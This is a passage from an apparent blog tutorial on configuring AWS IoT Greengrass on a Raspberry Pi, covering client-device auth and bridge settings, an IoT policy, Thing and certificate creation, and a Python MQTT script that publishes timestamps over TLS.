          ],
          "resources": [
            "*"
          ]
        }
      }
    }
  }
}

This Configuration allows only Things with a certain name (e.g. MyClientDevice1, MyOtherClientDevice3) to connect, publish and subscribe to topics on this broker.

Click confirm at the bottom.

Next, select the Bridge component and again on Configure component. Again under Configuration to merge, place the following configuration:

{
  "mqttTopicMapping": {
    "HelloWorldIotCoreMapping": {
      "topic": "clients/+/hello/world",
      "source": "LocalMqtt",
      "target": "IotCore"
    }
  }
}

This configuration will only forward messages to IoT Core on the topic clients/+/hello/world. The + is a wildcard here.

Click confirm at the bottom. That's it.

Click Next, Next again, and finally Deploy.

This will kick off the deployment and the Greengrass will install all components on the Raspberry Pi.

Now go to your core device again and over to the tab Client Devices and click on Manage endpoints.

Here simply add the IP of your Raspberry Pi and the Port 8883. This will allow connection on that IP and the provided CA certificate by the Auth component.

Coffee? Coffee!

That is the perfect time to check the status of your deployment. You can do this in the Management Console under Deployments or check the Greengrass logs on your Raspberry Pi with:

sudo tail -f /greengrass/v2/logs/greengrass.log

To list all installed components you can use sudo /greengrass/v2/bin/greengrass-cli component list

In that output, you should see the Auth, Bridge, and Broker components.

If you need detailed information on how to set this up, you guessed it -> docs

Everything is set up. You can now send some messages. Finally! But for this, you first need to set up a thing.

Side note

If an MQTT Broker already exists in your environment, it can be reused instead of the MQTT Broker provided by Greengrass. The IoT Core device can then act as a bridge between the existing MQTT Broker and AWS by installing and configuring the necessary software. This allows for seamless communication and data exchange between the existing MQTT Broker and the cloud-based services provided by AWS. This approach allows for the continued use of the existing MQTT Broker while also utilizing the capabilities of AWS IoT.

Setup a Thing

Luckily, this is done quickly and all we need to have in the end are the certificates. These certifactes will have a policy attached to them and will be used to authenticate the thing.

Create Policy

Let's start with the required policy. Go to Security -> Policies -> Create Policy.

For the Name I choose MyClientDevicePolicy and add all IoT Policies to that device:

• iot:Connect
• iot:Publish
• iot:Receive
• iot:Subscribe

replace <core-device-thing-arn> with your own ARN, which looks like this: arn:aws:iot:<region>:<account-id>:thing/<NameOfTheCoreDevice>.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iot:Connect",
      "Resource": "<core-device-thing-arn>"
    },
    {
      "Effect": "Allow",
      "Action": "iot:Publish",
      "Resource": "<core-device-thing-arn>"
    },
    {
      "Effect": "Allow",
      "Action": "iot:Receive",
      "Resource": "<core-device-thing-arn>"
    },
    {
      "Effect": "Allow",
      "Action": "iot:Subscribe",
      "Resource": "<core-device-thing-arn>"
    }
  ]
}

Create Thing

Go to Manage -> All devices -> Things and click on Create Thing. Choose Create single thing.

Click next.

For the name, remember the configs you set earlier. The name has to start with MyClientDevice. For the sake simplicity, i pick MyClientDevice1.

Click next.

Choose Auto-generate a new certificate.

Click next.

Attach the policy you've created in the previous step. This policy is attached to the certificate.

Create thing.

Make sure to download the private and device certificate and since you are forced to grab the public one as well, do it.

Send Messages

Finally! We have all components in place and set up to send messages to the broker, over the bridge to IoT Core (That is now the Raspberry Pi).

Coffee Time!

Create a folder on your laptop, call it iot.

Inside that iot folder create another folder called certs.

Place your device certificate and private certificate inside certs. To make your life easier, remove the random string from the name of the certificate.

Now you need the CA certificate from the core device. You can find that on your Raspberry Pi under: /greengrass/v2/work/aws.greengrass.clientdevices.Auth/ca.pem

The simplest way to get this certificate: Use the following command: sudo cat /greengrass/v2/work/aws.greengrass.clientdevices.Auth/ca.pem

copy the output into a new file in your certs folder and call it ca.pem. Make sure it starts with -----BEGIN CERTIFICATE---- and ends with -----END CERTIFICATE-----.

-----BEGIN CERTIFICATE-----
Random looking stuff, definitely not coffee 
-----END CERTIFICATE-----

Now create a file called message.py inside the iot.

paste in the following code inside it. Replace the placeholder in line 6 with your RaspberryPis local IP address and if you picked another name for your thing name, change that on line 33 - paho.Client(client_id="MyClientDevice1").

import paho.mqtt.client as paho
from time import sleep
from random import uniform
import datetime

broker="<RaspberryPi-Local-IP>"
port=8883


cert_folder = "certs"
ca = f"{cert_folder}/ca.pem"
cert = f"{cert_folder}/certificate.pem.crt"
private = f"{cert_folder}/private.pem.key"


connflag = False

def on_connect(client, userdata, flags, rc):
    global connflag
    if rc==0:
        connflag = True
        print("connected OK Returned code=",rc)
    else:
        print("Bad connection Returned code=",rc)



def on_publish(client,userdata,result):             

    return print("data published \n")


mqttc= paho.Client(client_id="MyClientDevice1")                           
mqttc.on_connect = on_connect
mqttc.on_publish = on_publish                          


mqttc.tls_set(
    ca_certs=ca,
    certfile=cert,
    keyfile=private
)

mqttc.connect(broker,port)                                 

mqttc.loop_start()

while 1==1:
    sleep(0.5)
    if connflag == True:
        now = datetime.datetime.now().timestamp()
        mqttc.publish("clients/test/hello/world", str({"time": now}), qos=1)
        print(f"msg sent: {now}")
    else:
        print("waiting for connection...")

This python script connects to the local MQTT Broker running on your Pi and is sending messages with the payload of the current time on the topic clients/test/hello/world.

You should have a folder structure like this:

├── certs
│   ├── ca.pem
│   ├── certificate.pem.crt
│   └── private.pem.key
└── message.py

Create the virtual environment with virtualenv and install paho, this is a MQTT Python client:

pip install paho-mqtt

Finally you can run the script with:

python message.py

Head over to the management console and navigate to the MQTT test client. Under Subscribe, type in the topic clients/test/hello/world click Subscribe and now you should see all the messages coming in.

If you still have coffee left, drink it up, like the champ you are!

Conclusion

As you have seen Greengrass allows for local device-to-device communication and processing of data without the need for a cloud connection. This can be useful in a variety of different use cases, as it allows for faster and more efficient data processing, as well as the ability to continue functioning in the event of a network outage. One potential use case for a Greengrass-enabled IoT device is in industrial settings, such as factories or warehouses. These environments often have a large number of connected devices that need to communicate with each other and with a central control system. Greengrass allows for these devices to communicate with each other and make decisions locally, without having to send all data to the cloud for processing. This can lead to faster decision-making and more efficient use of resources. Another potential use case is in the field of smart homes, autonomous vehicles and Agriculture.

From this setup you can make the system even more efficient by deploying Lambda functions on the Greengrass Core Device. Exactly! Deploying Lambda functions on a Greengrass-enabled IoT device can greatly improve the cost and performance of the device. Local Lambda. Sounds great? That's because it is. Deployed Lambda functions can be run on the Greengrass core device, allowing for local processing of data without the need for a cloud connection. This can lead to significant cost savings, as data doesn't need to be sent to the cloud for processing, and can also result in faster and more efficient data processing. Additionally, by deploying Lambda functions on the Greengrass core device, it allows for more complex logic to be implemented locally, such as image or video analysis, machine learning, or data filtering. This can be especially useful in resource-constrained environments, such as on edge devices, as it reduces the amount of data that needs to be sent to the cloud for processing.

In terms of security, using a VPN or Direct Connect connection to the cloud can enhance the security of the Greengrass-enabled IoT device even further. A VPN (Virtual Private Network) allows for a secure connection to the cloud, and can help protect against unauthorized access to the device. In summary, Greengrass is a powerful IoT platform that can provide many benefits, including faster and more efficient data processing, the ability to function in the event of a network outage, and the ability to make decisions locally, without the need for a constant connection to the cloud. This makes it a valuable tool in a wide range of use cases, including industrial settings, smart homes, autonomous vehicles and Agriculture. Additionally, deploying Lambda functions and using a VPN or Direct Connect connection can improve cost, performance and security of the device.